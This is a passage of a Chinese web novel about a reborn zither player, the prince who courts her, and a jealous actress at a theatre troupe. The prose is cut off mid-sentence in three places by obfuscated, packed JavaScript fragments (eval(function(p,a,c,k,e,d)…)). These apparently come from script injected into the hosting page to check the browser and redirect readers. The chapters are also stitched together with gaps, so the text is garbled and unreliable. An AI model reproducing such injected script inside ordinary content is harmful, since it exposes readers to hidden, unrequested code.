尹长寻一笑：“为何不能是你？” 这个问题对于尹长寻来说，听起来特别奇怪。 他难以理解祈今歌为何在对待感情上这么小心谨慎，甚至到了如履薄冰的地步。 尹长寻自认为一般女子若是知道自己心悦于她，纵然不会欣喜若狂，也不至于会惴惴不安。 哪怕祈今歌之前阅人无数，在风月场上见惯了逢场作戏，故而不会轻信他人的话语，但是她的态度也实在是太过顾虑重重。 祈今歌突然觉得分外疲惫。 尹长寻意识不到，他随意地一句“喜欢”，随便说的一句“在意”，她却会绞尽脑汁去揣度，他是否真的明白其中的含义？ 尹长寻不懂琴，却可以随意为了流霞琴一掷千金，随意将东西赠予她。 在他的眼里，这或许是不值得一提的小事，可是在祈今歌眼里，却是她无法承受的好意。 想来上一世他并不喜欢她，她也只是如这流霞琴一样，尹长寻想买来作为稀奇摆设，一时兴起，并不值得他放在心里。 可他有意无意地给予地那一丝丝温暖，却足以令祈今歌怀揣心中，惴惴不安。 祈今歌静静看着对面的尹长寻片刻，心中茫然。 上一世他不懂她的犹豫、彷徨、不安，这一世他会懂吗？ 祈今歌睫毛轻颤，像是确认般地问道：“王爷，您可是因为我上次说的话才……” 尹长寻摇了摇头，已经猜出了她接下来要说的话，他轻笑否认道：“要是有人像你上次一样随口一说，我就要对她好，那我岂不是忙不过来了？” 祈今歌闭了嘴。 的确，尹长寻哪里是别人喜欢她，他就对别人有所回应，甚至还会亲自示好的？ 他向来都是充耳不闻，甚至眼神都懒得多给一个。 祈今歌陷入了沉默。 然而这个话题终究是避不开，于是她轻叹被一口气后，才道：“我希望您不要待我有什么特殊，您待百影楼其他人什么样，您就待我怎么样。” 这话颇为有些不识好歹，或许听起来还有些欲擒故纵的嫌疑，可却是祈今歌的真心话。 从小到大她都是没有感受到什么温暖，她对早逝的母亲几乎分毫印象都没有，离开父亲的时候也太早太早，从此以后，她一直以来都是担任着照顾他人的角色，她付出的情感太多，收获的温情太少。 因此她不敢期待，不敢奢望。 但是哪怕前世她时时刻刻提醒自己，她依旧没有得到好下场。 如今尹长寻对她的兴趣更浓，她又是否能够善终？ 还是她能够奢望有奇迹发生，这一世有所不同？ 尹长寻双臂交叠在胸前，似是不解，问道：“为何？我能知道原因吗？” 这的确很不符合常理，这世上竟然还有人不喜欢别人对自己付出？ 祈今歌很难给出一个合适的理由。 上一世的尹长寻也只是对她不冷不热，没什么苛待她的，这一世甚至连这个唯一的缺点都没了，无论是样貌、身份更是挑不出毛病，在外人看来，反而有毛病的是祈今歌。 哪有金龟婿都送到了手上，还甩了甩手丢出去的道理？ 或者可以更直白一点，说感情的事不能勉强，自己不喜欢他，讨厌他。 可是…… 祈今歌不愿意说。 不是怕得罪了尹长寻，而是这既不是事实，她也不愿意说这种伤人的话。 她想不到好的措辞，于是干脆轻轻咬唇，不说话。 尹长寻呼她名字，她抬头看他。 尹长寻道：“我一直以为，你是一个很有胆量的人，所以才能坚决离开殷府，所以才愿意过苦日子，所以才愿意自力更生，可是我看，其实你胆小得很，甚至比一般的姑娘胆量还要差点。” 祈今歌心中一颤，相比前世，这辈子的她已经做出了太多的改变，做出了太多破例的举动，殷长寻竟然还认为她和前世一模一样，懦弱又无能吗？ 她有些不服，道：“不知您何出此言？” 尹长寻看了他好半晌，才道：“就凭你怕我，你不敢直视我，难道你不是胆小？抛弃我的种种身份，我本质上不过也就是个人罢了。我不知道你在担心什么，你在顾虑什么，我又非洪水猛兽，若我愿意对你好，你只管坦然接受就是，有何苦瞻前顾后？难道你真讨厌，我还能赖着你不成？” “可是至始至终，我没有感觉到你是真的讨厌我，我能感受到的，只是因为你在举棋不定。” “可是你知不知道，你如此的顾虑和犹豫，这副心神不定的样子，反而说明你对我……”他有些狡黠地扯了扯嘴角：“反而说明你对我过分在意。” 祈今歌心中筑牢的城墙突然间轰然倒塌。 她刚想反驳说他未免有点自恋，可是一想到自己所作所为，或许尹长寻并没有说错。 她的确就如她所说的那样，她从来不曾讨厌面前的这个人。 只是她一直不肯承认。 现在尹长寻话都说得这么明白，她退无可退。 他在逼她承认。 祈今歌没有否认，她垂下眼眸，不去看尹长寻的那双过分好看的眼睛，她只道：“庆王殿下，您为什么对我态度变化这么大，明明……明明上一次见面，我们之间并不愉快。” “……我自然有我的理由。” 他又道:“总之，现在的我，倒是算得上喜欢你。” 尹长寻答的爽快，然而，却拒绝给出具体的原因。 虽然尹长寻四两拨千斤地提起了“喜欢”二字，不过祈今歌听到他再次拒绝吐露心声，内心泛起来的反而是酸涩。 在某些方面，尹长寻还是和上一世一样，不愿意对她敞开心扉。 祈今歌抬起眼帘，鼓起勇气问道：“王爷，请问您到底觉得我有什么特别，值得您另眼相看？若是喜欢我的容貌，初次见面，您应该就会对我一见钟情，可是您没有，若是喜欢我的琴艺，可普天之下，不输我的也不在少数，若是喜欢我的性格……” 祈今歌笑得有些苦涩。 “那我更是出了名的无趣。更何况，您也清楚我的出身并不干净，这天底下比我好的姑娘太多太多，若您说的话是真心的，我实在不明白，您到底喜欢我什么？” 这实在是个很难回答的问题。 毕竟喜欢一个人又不是买商铺里的商品，能够货比三家，比成色、比质量、比价钱，然后再挑一个最合乎心意的买下来。 有时候明明一个人哪哪都不好，都不如别人，可在各种因缘际会下，喜欢了就是喜欢了，没有丝毫道理可言。 尹长寻不满她怎么有这么多问题，道：“哪有那么多为什么？这世上没有谁规定喜欢一个人还要列举几条理由不成？我若不喜欢，世家小姐也懒得看，我若喜欢，乞丐叫花我也珍惜。” “我喜欢你，你就自然是最好的，不用去和别人比这比那的。别的姑娘再好再坏，我没感觉，与我又有何关系？” 这话是真挚的，没有任何虚假。 只有发自真心的话语，才能说的这样纯粹又真挚。 明明是令人动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尹长寻轻轻“嗯”了一声，却没有伸手接过，紧接着道：“嗯，我知道你的考量，你不想要也正常，你可以不收。” 他话锋一转，又道:“不过我送别人东西，就没自己还拿着的道理，你要是不想要，我就直接扔了，要不我看这木头成色也挺好的，让厨房拿着生火做饭应该也挺不错。” 祈今歌的眸色沉了沉。 这么贵重的东西，按她的性子，怎么可能舍得让尹长寻丢掉？ 不当家不知财米油盐贵，别说是两千两，就是二两，她也是舍不得浪费的。 她明白尹长寻是说到做到的性格，若是自己真的不要退给了他，他真的会直接扔了让人捡了当柴火烧。 在这方面，他向来说到做到。 祈今歌肯定不允许出现这样行为。 只是收下，她欠尹长寻的又更多了。 她明明知道尹长寻这是在以退为进，可是这招偏偏最能拿捏她。 祈今歌低头看了看怀中的琴匣，陷入纠结。 而尹长寻等着祈今歌反应，并不催促她做决定。 她不说话的样子也很是好看。 安安静静的，显得漂亮又乖巧。 祈今歌沉默了良久，直到最后她才点了点头，又将琴匣抱在了怀中，轻声道：“那就恭敬不如从命，我就收下了，也谢谢王爷费心了。” 25. 不满 百影楼内。 曲终人散，舞乐声停，戏台上的优伶缓缓撤出。 看客们像被风吹散的落叶，窸窸窣窣从长条凳上起身，一个个飘荡出了大门。 “好了，辛苦大家了！若是忙完了，今天就这么散了。” 叶威挥了挥手，聚集在戏台一处的人便散开了来。 祈今歌微微抬头，能看到原本在二楼观戏的尹长寻也在此刻不见了影子。 祈今歌收回了眼神。 自从上次两人买琴而归以后，尹长寻并没有做出什么别的的举动，只是会三天两头地来一趟百影楼，坐在固定的位置上，远远地看看戏台之上的表演。 有时是他一个人，有时是和明正一起，有时金利和李别肃也会一同前来。 别人看不清楚尹长寻到底在看谁，祈今歌却感觉得到他的目光就如轻羽一样扫在自己身上，落得身上痒痒的。 倒是无人察觉出祈今歌和尹长寻之间有什么特别的渊源。 百影楼内的人这段时间都见到了这位新东家的庐山真面路，一时间，还引起了不小的轰动。 院里姑娘只要谈起这位新东家，都笑得灿若桃花，神采奕奕，一看便是春心萌动。 这股子激动的劲头持续了好几天了，到现在都未彻底消散。 只不过毕竟是自己的东家，再加上他虽然年轻，生的面如美玉，但却有着一股生人勿近的气场，要是轻举妄动，不容易成功不说，要是弄巧成拙，被赶了出去，手中的美差丢了，那岂不是赔了夫人又折兵，实在是太不划算了。 于是姑娘们几乎是不约而同选择压住了那头准备东跑西跳的小鹿，决定远观便好。 祈今歌捶了捶背，给自己放松放松，因为久坐而产生的身体不适感才消散了点。 叶威给了他们这一批新人半个月的适应时间，如今距离这半个月也已经过去了好几天，祈今歌与另外四人已经登台表演，在诸位宾客面前露了面。 从百影园向来生意爆满，座无虚席，尽管因为招了新的乐工，每隔两天还有别的琴师轮换，已经比其他人轻松多了，但她在此之前从未从早到晚弹奏过，如今一旦上工，是需要弹奏一整天，未免觉得腰酸背痛。 还没起身，叶兴又从大门口走了过来，双手背在腰后，直到祈今歌的面前方大才停下了脚步，道：“今歌姑娘！” 一时间，还未散去的人的目光都不约而同地聚集在了叶兴身上。 祈今歌看他咋咋呼呼，面色还带着点红润，不知道是何事让他有些兴奋，道：“怎么了？” 叶兴将藏在身后的长条形的盒子拿了出来，在空中摇晃了几下，盒中发出清脆的碰撞声，随后他又将盒子递给了祈今歌，神秘兮兮道：“快看看。” 祈今歌将盒子接了过来。 盒盖上精雕着一幅牡丹盛放图，繁复花纹间，金粉若隐若现，看起来小巧又精致。 而比盒面更加精彩的，是静静躺在盒内的一支头钗，钗身由纯金打造，顶端镶嵌着一颗硕大的红宝石，周围簇拥着一圈细小的珍珠，宛如繁星围绕着璀璨骄阳。 一瞬间，周边的姑娘们都被这金闪闪的小玩意儿吸引了注意力，瞬间围了过来。 “哇！好漂亮！”王水闲看得眼睛都亮了，羡慕道：“一看就很贵！” 有人笑道：“王丫头是个识货的，我一看便是出来了，这可是巧心阁的头钗！可贵了呢！” “我的天！那可真是大手笔啊！我平常想要买他家最普通的一只钗子也得省吃俭用呢，这么一只金钗，这得值多少钱？” 祈今歌将头钗放回了盒中，问了一句。 “谁送的？” 叶兴道：“今歌姑娘，这次依旧是丝澜布庄的五少爷刘羽归送的。他今日有事，便让府中下人转交过来，说是务必要到你手里。他还托我给你搭句话呢，说是明天晚上想邀你一同去望月楼吃个饭，说是若是赏脸，就让我就给他们知会一声，到时辰会派马车接你过去。” 叶兴这话可谓是一石激起千层浪。 不少人听到“刘羽归”这个名字，眼神开始变得有些暧昧。 一直以来，戏楼里的人被达官贵人看上，都是再正常不过的事，不过，这被看上的人，往往都是戏园里的台柱子，也就是唱戏之人。 毕竟演出的戏子往往由脸蛋、身段都出挑的人担任，被人相中也是家常便饭，平时收到礼品也不是什么稀奇事。 其中主角往往最受追捧，而配角次之。 至于还有露脸机会的乐工，纵然才艺再好，基本都因姿色平平而没什么存在感，便是偶尔有人还尚且有几分姿色，可是与盛装打扮的角儿比起来，又不太够看了。 所以无论何时，无论何地，唱曲的角儿才是这戏园里万众瞩目的存在。 可如今却有人打破了现状。 此人正是祈今歌。 自从祈今歌露面以后，往来的观众纷纷惊奇，竟然还有这样的绝色佳人甘愿在戏园里做个无足轻重的琴师？ 实是怪事！ 这么一个没有主的美人，谁不想将她收入囊中？ 于是百影楼便出现了前所未见的奇景。 客官们对戏台中央唱戏的戏子视而不见，反而被坐在戏台角落处的一名女琴师迷的五迷三道，不少老爷和少爷眼睛都已经看直了。 谁让她长得那么漂亮。 自此，男人们目光里哪里还容得下其他人，一个个排着队约着要私下见面，送过来的礼物简直要堆成了山。 可是祈今歌根本就不带考虑的，不光一个邀约都没答应，他们送来的礼品也全部退了回去。 老爷和少爷们都习惯了用钱把看上的人砸得头晕眼花，如今见了一个不为所动的美人，不仅不觉得被拂了面子，反而觉得别有一股风味，更是觉得有劲，征服欲被挑得更旺了。 祈今歌虽然不见他们，不收他们的东西，这群人却没有放弃，反而是加大了筹码，托人送礼，并且送的东西越来越贵重。 就算百影楼是云州最有名的戏园，在里面的人比寻常戏园的人多了点选择，但是总的来说，没有谁嫌钱多，价格到位了，基本上没有赏脸的。 如果有人不赏脸，那必然是钱还给的不够多。 可偏偏祈今歌就是例外，真正的做到了视金钱如粪土，不管来者何人，不管付出多少代价，她始终不点头。 而刘羽归则是这堆人之中最为大方的公子哥之一。 他相貌英俊，出手大方，并且还不是酒囊饭袋，年纪轻轻便跟着父亲做生意，已然是已经做的有模有样，称得上是青年才俊。 他又惯会说甜言蜜语，哄得人心花怒放，在女人堆中很是出名。 这样的男人是惹女人喜欢的，只是他换人换的也很快，一旦想要的女子得到了手，不出半年也就腻了。 一旦腻了，刘羽归便不论对方如何挽回，也是不会再吃回头草。 尽管刘羽归的风格做派已经众人皆知，不少女子还是渴望和他有段露水姻缘的。 毕竟这类人原本就比较随便，陪谁不是陪？加之跟着刘羽归要钱有钱，要脸有脸，除了没心，别的都完美无缺。 只要刘羽归看得上，几乎没有人不愿意的。 如今这位花花公子，又把目 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王水闲一只手叉腰附和道：“对啊对啊，咱们可不能和钱作对，再说不就是吃个饭而已，真的不考虑一下吗？好姐姐？” 祈今歌摇摇头。 以前在殷府的时候，再贵重的赏赐她也不是没收过，如今一个金钗算什么？ 她花了两千两买回自由，决定自食其力，便不会再走老路。 她只重复了一遍：“退了吧。” 说罢，祈今歌从凳子上起了身，准备收拾收拾就回去，刚刚站起来，还未走动一步，肩膀便被猛地一撞。 这撞击的力度极大，祈今歌连退了好几步，王水闲眼疾手快，一把揽过了她的细腰，这才避免了摔倒在地。 祈今歌好不容易稳住了步伐，再一看，撞得她重心不稳的人，正是百影楼的台柱子——林悦兮。 她面容白皙似雪，双眸明亮清澈，顾盼间流光溢彩。 此刻林悦兮尚未卸妆，但是她的妆容并不夸张，脂粉勾勒出细致的眉眼，胭脂和口红也非常自然，看上去清新。 她身上还穿着表演时的衣服，上身是绣着烂漫桃花的绯色短袄，下系月白马面裙，真是粉雕玉琢，令人见之难忘。 她并未说话，微微昂着头，嘴角往下搭，脸上没有丝毫歉意不说，反而透漏出一股不屑以及不爽。 很明显，林悦兮是故意的。 一时间，在场所有人都屏住了呼吸。 祈今歌心里清楚林悦兮为何有这么一出。 只是她觉得林悦兮选择出气的方法，实在是有些幼稚了。 她明白林悦兮在不满什么。 但她并不怕林悦兮。 只是百影园能够有如此风光，每场座无虚席，很大原因是因为林悦兮极为受欢迎，能实打实地给百影楼赚钱。 人一旦出名，未免得沾上点傲气。 作为百影楼的摇钱树，大家多多少少都得惯着她的脾气。 就连百影楼的前任老东家也不例外。 祈今歌哪怕不考虑自己，只为了百影楼着想，初来乍到的她也不欲和举重若轻的林悦兮产生什么冲突。 她只是微微蹙眉，略带不满，却并未言语。 林悦兮见她忍气吞声，心理不免畅快了越多，得意地轻哼了一声，转身就准备走人。 “喂！你给我站住！你怎么回事？撞了人怎么都不道歉的啊！” 少女的声音活泼中又透漏着显而易见的怒气。 祈今歌：“……” 她还未说话，王水闲已经主动替她路见不平，拔刀相助了。 26. 嫉妒 王水闲的意外之举无疑让原本就有些微妙的气氛变得更加凝固。 在场的人并不算少，有一部分人已经归家离去，但是也有相当一部分人，还未跨出大门，便目睹了眼前的一场好戏。 众人皆是凝神屏气，不敢弄出什么动静。 毕竟林悦兮可算不上什么善人。 他们也不傻，嘴上虽然不说，但是大多数都明白林悦兮为何会针对祈今歌。 原本这百影楼唱戏的台柱子是有两个的，一男一女，男角儿为李衡，女角儿则为林悦兮。 林悦兮是个不怎么大度的人，见不得别人比她好，受不得别人抢了她的风头，喜欢别人捧着她，不过她德行虽然差，但是也是有点实力在身上的，长得漂亮，戏唱的好，能逗宾客开心里，让不少人都为她前来白影楼， 便是以前的东家也要给三分薄面给这棵摇钱树，所以戏院的一般人抢不了她的风头，更不会轻易开罪她。 真要论起来，也只有李衡还能压了林悦兮一头。 不过林悦兮倒是不介意，她在这点上倒是想的开，男女有别，李横到底是个男人，喜欢他的大多数还是女人，而喜欢林悦兮的客人是男人居多，两人之间也算得上互不影响，倒也相安无事。 只要没有别的女人骑在林悦兮头上，没人能威胁她在百影楼的地位，她倒也不会草木皆兵。 可是祈今歌来了以后，她原本睁一只眼闭一只眼的事就不能再得过且过了。 原本一成不变而又令人舒心的日子悄然发生了改变。 而这种改变，正是林悦兮最不愿意看到的那一种。 这算怎么一回事？ 也就半个月的时间而已，风头正盛的林悦兮俨然已经有点无人问津的趋势了。 曾经跟在她屁股后面的那群男人已经不见了的踪影，除了极个别对她死心塌地的老宾主，剩下的人早就见异思迁，一个个又将祈今歌围地水泄不通了。 就如曾经他们对待她这般热络一样。 一个琴师，戏台之上，配角中的配角，却公然抢了百影楼的台柱子的风头。 林悦兮心里依然免不了生出疙瘩。 自己的待遇被人抢了，林悦兮已经觉得够恼火了，但是尚且还能忍忍，悄悄还有让她更难过的。 祈今歌和她不一样。 她偏偏搞出一副清高的态度，装的和不食人间烟火的仙女一样，这个人不见，那个送的东西不要，搞得一副不食人间烟火的样子。 可就她这副冷淡的态度，不仅没有劝退这帮男人，反而让他们更加前赴后继了。 在林悦兮看来，这就是做作，这就是欲拒还迎，这就是故作清高。 都为了钱来这百影楼了，可见是个缺钱的主，既然来了这戏园子，做了这下九流的活计，还玩什么出淤泥而不染？ 林悦兮能做到如今这个地位，固然是她长得还算有几分颜色，戏也唱的好。 可是她还不是得对这群宾客左右逢源，笑脸相迎？ 凭什么祈今歌什么都不用做，就能轻而易举地把她来之不易的一切抢走？ 凭什么她还能摆出一副干干净净的样子？ 初见祈今歌时，林悦兮只觉得这姑娘长得怎么如此好看。 原本她就已经生得千娇百媚了，可是在祈今歌的面前，她竟然有些自惭形秽了起来。 她虽然觉得上苍不公，捏出了这样一张完美的脸，偏偏没长到自己的脸上，不免有些遗憾，可是除了一股失落以外，倒也再没了其他的情绪。 毕竟祈今歌只是乐师，而她是唱戏的，两个人互不干涉，只要没威胁道她的切身利益，她倒也没小肚鸡肠到离谱的地步。 可是怕什么来什么。 祈今歌初登场，她这个戏台子中央的主角就黯然失色了。 自此两人间的梁子就由林悦兮单方面的结下了。 她心中有芥蒂，可是也一直没发作。 毕竟她觉得，单纯由于自己的嫉妒心而发难祈今歌，一来做的太明显，有些不占理，二来是以她在百影楼的行为做出这种事，说起来实在是有些丢份。 至于为何偏偏今天没有忍住，甚至动了手，正是因为丝澜布庄的五少爷刘羽归。 半个月之前，也就是祈今歌还没正式亮相的时候，她还正和刘羽归打的火热。 她倒不是多爱这位花心的刘家公子，更不会觉得他会是对他真心实意。 只是他却是模样俊俏，又出手大方，说的话又把她哄得心花怒放，在百影楼的宾客之中，也算得上是最为上乘的男人。 最为关键的是，刘羽归甚至还许诺过日后会娶她回家，做他的第二房小妾。 若是信口开河，说让她林悦兮做正室，她肯定就当这人放屁，可是刘羽归不一样，他给出的承诺并非是天方夜谭，她的身份固然做不了正妻，做个小妾却是绰绰有余。 因此，这份承诺反而的确是有可信和可行的，这不免也让林悦兮有了期待。 作为一个戏子，能嫁给云州当地有头有脸的青年才俊做妾室已经是好结局。 花无百日红，她现在正当红，可是也没法红一辈子。 她必须趁着自己还卖的出价的时候给自己寻个好买家。 可惜天不遂人愿。 她中意的买家在看到祈今歌以后已经光速变心，将她抛诸脑后，不闻不问， 这也罢了，今日还让她正好撞见刘羽归送过来的巧心阁的头钗。 别人不清楚这头钗的价值，林悦兮可太清楚了。 这玩意儿价值三百两，就算是她和刘羽归最为浓情蜜意的时候，这臭男人也没送过她这么贵的！ 她得不到的东西，祈今歌还不屑一顾。 一时间，新仇旧恨涌上心头，她这才忍不住撞了下祈今歌，发泄下心中堆积过多的不满。 只是这不满还没发泄完，林悦兮的怒火又像是被加柴，烧的更旺了。 不过是撞了一下罢了，祈今歌都还没说话，她养的狗就开始吠个不听了。 敢情男人被他迷的神魂颠倒，女人也爱她不成？ 林悦兮不由得皱了眉。 林悦兮上下打量了王水闲一眼，想要看清是哪个不长眼的敢来找她算账。 等到彻底想起来面前的人是谁，林悦兮简直觉得好笑，什么时候院子里的阿猫阿狗也敢对她随意高声说话了？ “就你？”她冷哼一声，不以为意道：“你知道自己身份吗？怎么和我说话的？” 如果她没有记错，这个小丫头是新东家前些日子招进来的。 不过是个不值一提的乐师罢了，成天鼓捣着个笛子吹来吹去，模样只能说比普通人好一点，怎么看也没什么值得多给一个眼神的理由。 这样的人怎么有胆子和她呛声？ 见林悦兮不光不道歉，反而还格外嚣张，这般无法无天的态度，王水闲也是气不打一处来。 “我什么身份？”王水闲叉着腰，微微仰起额头，理直气壮道，“你什么身份我就什么身份，我们不都是来这儿赚钱的吗？谁比谁高贵不成？” 她这话说的颇为天真无邪，一语道破本质，又在不知不觉间将心高气傲的林悦兮拉到了和她同一个位置上。 说起来她这话也的确不无道理，毕竟大家都是下九流，谁也别瞧不起谁。 一时间，在场的人皆是忍俊不禁，脸上皆是一幅想笑又极其忍住别笑的表情。 就连祈今歌的嘴角都忍不住往上扬。 不知者无畏，王水闲初生牛犊不怕虎，什么都敢说。 眼见一个刚来的小丫头片子都敢驳斥自己，周遭的人还都是一副等着看笑话的表情，向来在百影楼呼风唤雨的林悦兮面上眼看就要裹不住，原本就不太和善的脸色又是黑了三分。 “你叫王水闲是吧？不过是个乐师而已，我和你说话了吗？你就在这和我大呼小叫的？” 王水闲哪里肯让嘴皮子功夫，她出身贫苦人家，爹娘忙于生计，也没什么空管她，自从有记忆开始，她就是在街头巷尾和一堆孩子们混着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你什么你？我劝你闭嘴，这事和你有什么关系？人在外面混，知道什么叫洁身自好吗？曾经我与旁的人不是没起过冲突，闹到水深火热、不可开交的也不是没有，你猜猜，最后东家是让谁走谁留？我看你年轻，所以这次我不跟你计较，不过我劝你还是别继续不知死活地和我作对，先掂量掂量自己几斤几两，到时候你看看滚蛋的是你还是我？”林悦兮道，“新东家又不是傻子，除非脑子有病，否则怎么可能护着你？到时候真不知道只能喝西北风的又是谁？” 话音刚落，周围看着的人也倒吸了一口冷气。 他们明白，林悦兮说的是事实。 林悦兮说的话不光是在警告王水闲，更是在重新提醒他们，别看她最近落寞了点就得意忘形。 而王水闲也听得心里一紧。 真到了二选一的地步，东家肯定选更能赚钱的林悦兮留在这，而她只能卷铺盖走人。 但是她……需要这份活计。 想到这，她蓦地咬紧了牙，硬生生地把内心的不平压了下去。 叶兴看着面前的两个人针锋相对，真是听得汗流浃背。 虽然说有人的地方就有江湖，他最是讨厌的事之一，就是光看这百影楼这的人勾心斗角，也真是看一次累一次。 他不过是受人所托来简简单单送个钗子，哪里想得到会有这一出，哪知道闹得这么大？ 这下好了，一群人在这看热闹。 他多希望舅舅还没回家。 叶威说话最是说一不二，这样就可以终止这场闹剧了。 这事也算得上是因他而起，他必须扛起责任来。 于是他鼓起勇气，靠近林悦兮，拱手作求饶状，陪笑道：“好姐姐，您何必生这么大气呢，大家天天抬头不见低头见的......” 林悦兮手一扬，把他往后推了，拉远了两人之间的距离：“滚蛋，有你这个男人什么事。” 叶兴退后了两步，嘴里的话也因此彻底噎住，吐不出来，脸上的笑容也僵硬了起来，现在此处，进也不是，退也不是。 祈今歌原本不想节外生枝，可如今二人为她想要息事宁人还受了气，她哪里还有沉默以对的道理？ 于是她看向林悦兮，正色道：“悦兮姑娘，你又何必如此咄咄逼人呢？” 27. 羞耻 林悦兮不听祈今歌说话还好，一听到祈今歌的声音，更是气不打一处来。 原本她冲撞了一下祈今歌，也不过是发泄一下心中的不满，根本没打算闹大。 她们这群人倒好，还搁这小题大做起来了。 本来只有三分的火气，被这帮“正义使者”一闹，怎么着也得有八分了。 如今这百影楼是以祈今歌这人马首是瞻了吗？ 真是反了天了。 “我咄咄逼人？” 她嘴角含着一抹冷笑，因原本就有一幅好嗓子，故而她的笑声如风吹银铃铛一样动听，哪怕是讥讽的话语，都比寻常人说的要顺耳些。 “你说得对。我是有些咄咄逼人了。毕竟我也不知道，祈今歌姑娘你可是琉璃做的，轻轻碰就会碎，你瞧瞧，我不过是不小心碰了你一下，你看这一个两个都紧张成什么样了，还在我这兴师问罪，不知道的还以为我是准备要你的命呢？” 叶兴被她的话简直差点噎死，不说王水闲如何，他哪里兴师问罪了，他只是想简简单单当个和事佬，怎么都能被林悦兮曲解成这样？ 看来人到底是不能一直被捧着，不然时间久了，一点不顺自己心意的话都不进去。 祈今歌微微颔首，道：“林姑娘，我对你没有敌意，你又何苦如此动怒？” 祈今歌越是从容不怕，林悦兮就越是恨不得撕破她镇定自若的面具。 她哪里不知道祈今歌对她没有敌意。 正是因为没有敌意，才更加可恨！ 若是祈今歌野心勃勃，想要夺走她苦心经营的一切，从而苦心孤诣地谋划，那还可以说一句是她林悦兮技不如人。 可她偏偏不争不抢，就轻松赢了她。 就好比告诉她，萤草怎能与皓月争辉？ 才来半个月就让她黯然失色，要是再这么下去，她林悦兮还不迟早查无此人？ 她怎能不恨？怎么能继续和她在同一个屋檐下相安无事？ 两人矛盾的爆发是迟早的事。 不是今天，那也就是明天，总是逃不过去的砍。 祈今歌是没做错什么。 可是祈今歌比她更好，散发出比自己更耀眼的光芒，这便是挡了她的道，这就是最大的罪过。 她平静地话语反而激起了林悦兮更大的怒火。 已经闹成这样了，索性还不如把憋在肚子里的话摊开来讲。 反正她林悦兮忍得了一时，是忍不了一世的。 最终和祈今歌撕破脸也是迟早的事。 向来只有她林悦兮让别人不痛快的，哪有别人让她不痛快的道理。 不可能的事。 她一只手叉着腰，一只手指着祈今歌的鼻子呵斥道：“你在这给我装什么人淡如菊呢？天天这个爷们那个哥们跟在你屁股后面，你表面上装的不屑一顾，其实心里很得意是吧？这个不要，那个不要，整的自己多清高呢？我问你，你要是真的心里想的和做的一样，那你怎么解释这个？！” 她说罢，便走到了祈今歌的琴桌面前。 圆润的指尖在琴弦上随意拨弄了两下。 琴音乍起，宛如山涧涌动的清泉，空灵又深邃。 众人不解，这是何意。 “……” 祈今歌一怔，立马明白林悦兮接下来准备如何为难自己了。 “今歌姑娘，咱们打开天窗说亮话，我对你也没什么意见，只是我这人性子直，看不惯又当又立的人，你也别见怪。我倒是有个问题想要问问你。” “在云洲，一个乐师一个月的月钱，是一两银子，咱们百影楼的东家大方，开的月钱是三两银子，这是整整三倍的差距。就这个数，不能说咱们百影楼的待遇不好。但是就算是再好，再省吃俭用，你能不能给我们说说，你是怎么买得起这价值三千两的流霞琴的？！” “你们可别不信，这价格可不是我乱说，如果我没看错，这琴就是知音堂的镇店之宝之一，店主挂三千两白银的高价，一分钱都不给便宜，若是还有不信的，不妨去打听打听，看看知音堂的流霞琴还在不在？” 林悦兮越说越来气，她在百影楼这么多年了，也没遇到过一次就给她花三千两的男人。 祈今歌凭什么有这种命？ 她乘胜追击，得理不饶人，继续道：“所以说什么叫高手，该捞的都捞到手了，名声还好听，这就叫闷声发大财！” 三千两？！ 在场的所有人都倒吸了一口冷气。 一开始众人都以为是林悦兮故意找茬，编排些有的没的，可她越说越有鼻子有眼，让人不得不动摇，说不定她说的还真是真的？ 他们是看到祈今歌几天前从家中带来了一张古琴，也的确看得出这古琴应该不是寻常货。 但是毕竟琴师是吃这碗饭的，省吃俭用之下，多花钱购置好一点的古琴并不是什么稀奇事。 只是他们万万没有想到祈今歌这些天弹奏的古琴竟然值三千两白银！ 别说一个琴师了，就算是百影楼赚的最多的李衡和林悦兮，十有八九也是拿不出这个数的。 那祈今歌又哪里来的这么多钱？ 她虽然生的标志，但又不能是名门大小姐来体验生活。 那只有另一种可能...... 无非就是金主罢了....... 这在他们这个行当其实不算什么稀奇事。 甚至相当一部分人，都以找到一个实力雄厚的金主为荣。 当然，干他们这行的，洁身自好的也不是没有。 但是这又分为好几种情况。 例如相貌无奇者、无才无艺者，就是想出卖自己，也是没人要的。 这种情况属于没得选。 又比如待价而沽者，为了卖出更高的价格，所以不会轻易让别人的到手。 这种情况属于玩的精。 还有一种便是真正的出淤泥而不染，仅仅是迫于生存问题才干了这行，甘于清贫，只图温饱，不求其他。 这种是极少数，可以说的上是凤毛麟角。 他们都认为祈今歌是第三种。 虽然才来半个月，百影楼的人大多数都觉得这个年轻的姑娘的确是不争不抢，不为名利所动，待人和善，和她相处起来如沐春风。 如今林悦兮的话无疑是平地一声惊雷。 如果她说的是真的，那只能说明祈今歌的演技实在是太好了，竟然轻而易举地欺骗了所有人。 原来祈今歌并不是他们想的那般干净，原来她也不过是凡夫俗子一个。 虽然说这并不算什么事，可是问题就出在落差这两个字上。 若一个人在他人眼中本身就是俗人一个，那做出这等事自然是没必要大惊小怪。 就比如林悦兮，从她登台开始，陪客见客就没停过，她的名气也是不少裙下之臣活活捧出来的。 但祈今歌给人的感觉明显不属于此类，她一举一动就是个超凡脱俗的样，追在她似乎后面的男人那么多，可她从不做曲意逢迎的事。 倘若林悦兮说的话是真的，众人眼中仙女一样的人不仅是俗人，还是最最俗不可耐的那种，这件事已经足以勾起人的好奇心了。 人总是喜欢乐见反差之事带来的刺激。 他们还有很多问题想问明白。 比如这个金主和祈今歌在一起多久了？ 应该没多久吧？否则这么舍得花钱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 